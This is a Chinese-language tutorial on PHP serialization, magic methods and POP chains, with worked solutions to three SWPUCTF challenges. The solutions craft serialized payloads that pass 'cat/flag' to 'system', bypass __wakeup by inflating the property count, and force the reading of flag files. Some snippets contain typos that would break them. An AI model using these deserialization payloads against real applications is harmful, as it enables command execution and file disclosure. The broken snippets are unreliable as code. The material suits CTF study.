一.序列化基础知识
1.序列化的作用
序列化(serialize)是将对象转化为字符串的过程,即为把对象的属性信息转换为可以存储和运输的字符串形式。
字符串格式:O(object变量类型):4(类名长度):"test"(类名):1(变量数量):{s:4(变量名字长度):"name"(变量名字);s:4(值的长度):"Jack";}
2.类的标识符
public 公共的,可在类的内部,外部和子类中调用。
protected 保护的,可在类的内部,子类中调用。
private 私有的,只可在类的内部中调用。
在序列化protected受保护属性时会在变量名前加上“%00*%00”,在序列化private私有属性时会在变量名前加上“%00类名%00”。
<?php
class test{
var $pub='benben';
function aaa(){
echo $this->pub;
}
}
class test2{
var $ben;
function __construct(){
$this->ben=new test();
}
}
$a = new test2();
echo serialize($a);
?>
结果:O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:3:"pub";s:6:"benben";}}
序列化对象$a的属性$ben值为另一个对象。
二.反序列化
1.反序列化(unserialize)特点
反序列化之后的内容为一个对象。
反序列化生成的对象里的值,由反序列化里的值提供,与原有类预定值无关。
反序列化不触发类的成员方法(函数)(魔术方法除外),需要调用方法后才能触发。
2.魔术方法
魔术方法时一个预定好的,在特定情况下自动触发的行为方法。魔术方法的作用就是在特定条件下,自动调用相关方法,最终导致触发代码。
__construct() 类的构建函数
__destruct() 类的析构函数
__sleep() 执行serialize()时,先会调用这个函数
__wakeup() 执行unserialize()时,会先调用这个函数
__toString() 对象被当成字符串时的回应方法
__invoke() 调用函数的方式调用一个对象时的回应方法
__call() 在对象中调用一个不可以访问方法时调用
__callStatic() 用静态方式中调用一个不可以访问方法时调用
__get() 获得一个类的成员变量时调用
__set() 设置一个类的成员变量时调用
__isset() 当对不可访问属性调用isset()或empyt()时调用
__unset() 当对不可访问属性调用unset()时被调用
__clone() 当对象复制完成时调用
三.POP链的构造
1.基本概念
pop被称之为面向属性编程(Property-Oriented Programing),是通过控制对象属性从而实现控制程序的执行流程。
2.构造思想
连续调用链即有链头和链尾。头是传入参数的入口,一般用GET或POST传参再unserialize,尾是实现攻击或者获取数据的出口,比如eval,include.再通过魔术方法将其连接起来,即可构成一个链。
[SWPUCTF 2022 新生赛]1z_unserialize
<?php
class lyh{
public $url='NSSCTF.com';
public $lt="system";
public $lly="ls";
}
$test=new lyh();
echo serialize($test);
将输出结果中的ls改为cat/flag即可。
[SWPUCTF 2022 新生赛]ez_ez_unserialize
目标是让$this - > x
的值为fllllllag.php
,这样在对象销毁(__destruct
方法被调用)时就能显示fllllllag.php
的内容。
由于__wakeup
方法的存在,我们需要绕过它的检查。在 PHP 中,如果对象序列化字符串中的属性个数与实际反序列化时类中的属性个数不匹配,__wakeup
方法就不会被调用。
<?php
class Test{
public $x;
function __construct($x){
$this->x=$x;
}
function__wakeup(){
if($this->x!==__FILE__){
$this->x=__FILE__;
}
}
function__destruct(){
highlight_file(%this->x);
}
}
echo serialize(new Test("fllllllag.php"));
输出结果为:O:1:"Test":1:{s:1:"x";s:13:"fllllllag.php" ;}
改为:O:1:"Test":2:{s:1:"x";s:13:"fllllllag.php";}
[SWPUCTF 2021 新生赛]ez_unserialize
从题目代码中可以看出,目标是要满足析构函数中的条件$this - > admin === "admin"
且$this - > passwd === "ctf"
来获取flag
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$a = new wllm();
$a -> admin ='admin';
$a -> passwd='ctf';
$p=serialize($a);
$s=$p;
echo $s.'<br>';
$s=unserialize($p);
echo'<br>'.$s.'<br>';
?>